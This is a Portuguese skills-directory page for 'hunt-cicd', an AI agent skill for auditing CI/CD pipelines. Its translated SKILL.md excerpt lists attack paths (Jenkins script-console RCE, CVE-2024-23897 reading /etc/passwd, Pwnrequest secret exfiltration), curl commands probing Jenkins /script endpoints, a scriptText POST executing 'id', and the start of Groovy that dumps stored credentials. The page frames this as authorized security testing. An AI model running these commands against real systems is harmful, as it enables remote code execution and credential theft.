Pular para o conteúdo
Skillpedia
Segurança48 mil · #3248

hunt-cicd

Permite ao agente encontrar vulnerabilidades em processos de integração e entrega contínua. Ajuda a proteger o fluxo de desenvolvimento de software.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em sistemas de integração e entrega contínua (CI/CD), como Jenkins e GitHub Actions. Ela procura por maneiras de acessar informações sensíveis ou controlar esses sistemas indevidamente.

Quando usar

  • ✓Ao auditar a segurança de um servidor Jenkins.
  • ✓Ao verificar a segurança de fluxos de trabalho do GitHub Actions.
  • ✓Para entender riscos em pipelines de CI/CD.

Exemplo do que pedir para a IA

“Procure por vulnerabilidades no Jenkins no endereço 'exemplo.com'”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-cicd/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-cicd/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta interagir com sistemas de CI/CD para identificar configurações perigosas ou falhas conhecidas. Ela verifica se é possível executar comandos sem permissão ou ler arquivos sensíveis.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-cicd

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-cicd/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-CICD — Segurança de Pipeline CI/CD

Alvos de Joias da Coroa

Console Jenkins /script alcançável = RCE imediata. Um fluxo de trabalho GitHub Actions pull_request_target (ou workflow_run) que faz checkout do ref da cabeça do PR e referencia ${{ github.event.* }} não confiáveis em um shell run: = "Pwnrequest" → exfiltração de segredos de um PR de fork com zero aprovação.

Descobertas de maior valor:

  • Console de Script Jenkins — Execução Groovy → RCE completa → despejo do armazenamento de credenciais
  • Leitura de arquivo Jenkins CLI (CVE-2024-23897) — Expansão de argumento @/etc/passwd pré-autenticação → leitura de secret.key/credentials.xml → forjar admin → RCE
  • Injeção pull_request_target GitHub Actions (Pwnrequest) — PR de fork controla ${{ }} dentro de uma etapa de shell privilegiada → exfiltração de GITHUB_TOKEN (frequentemente contents:write) e segredos de organização
  • Envenenamento de runner auto-hospedado — runner não efêmero em um repositório público executa a compilação de um PR de fork → código do atacante é executado no host do runner → persistência + roubo de segredos
  • Abuso de política de confiança OIDC — wildcard de declaração sub excessivamente ampla em uma política de confiança de role AWS IAM → qualquer fluxo de trabalho na organização assume uma role de nuvem privilegiada
  • Vazamento de estado Terraform — *.tfstate em S3/GCS/Blob públicos → credenciais de infraestrutura em texto plano, senhas de banco de dados, chaves privadas
  • Vazamento de token de runner / artefato / log — registrar runner de atacante, ou coletar segredos impressos antes de ::add-mask::

Portão "Não Aconteceu Sem Prova" (Leia Primeiro)

Descobertas de CI/CD são super-relatadas porque os dashboards parecem exploráveis. Antes de afirmar qualquer coisa:

  1. Uma página de login não é uma RCE. Um URL /script alcançável que retorna um login Jenkins ou 403 não é um console de script não autenticado. Apenas um POST real scriptText retornando a saída do seu comando conta.
  2. Um fluxo de trabalho pull_request_target não é automaticamente injetável. Ele só é explorável se dados não confiáveis fluírem para um sumidouro de execução. Confirme o fluxo de dados (veja seção FP) antes de abrir um PR.
  3. Injeção cega requer OOB. Se a etapa vulnerável não tiver saída que você possa ler, você DEVE confirmar via Burp Collaborator / interactsh — um subdomínio único por sumidouro para o qual o runner faz uma chamada. Um fluxo de trabalho que "rodou verde" não é prova de que seu código foi executado.
  4. Um .tfstate HTTP 200 não é exposição de credenciais até que você o analise. Compare com uma linha de base (veja seção FP) — muitos arquivos tfstate contêm apenas IDs de recursos e saídas, sem segredos.

Fase 1 — Jenkins: Detecção, Console de Script, CVE-2024-23897

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

Console de script não autenticado → RCE (apenas se o POST retornar saída):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

Despejar o armazenamento de credenciais (Groovy descriptografa segredos que a UI mascara):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials

…
Perguntas frequentes

O que é CI/CD?

CI/CD significa Integração Contínua e Entrega Contínua. São práticas usadas para automatizar a construção, teste e implantação de software. Pense nisso como uma linha de montagem para o código.

O que é RCE?

RCE significa Execução Remota de Código. É uma falha de segurança grave que permite a um invasor executar comandos no sistema de outra pessoa.

Por que preciso de permissão para usar esta ferramenta?

Esta ferramenta pode ser usada para encontrar falhas de segurança. Usá-la sem permissão em sistemas que não são seus é ilegal e antiético. É como usar uma chave mestra sem autorização.

Detalhes

Descrição original do autor

Hunt CI/CD pipeline vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3248
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas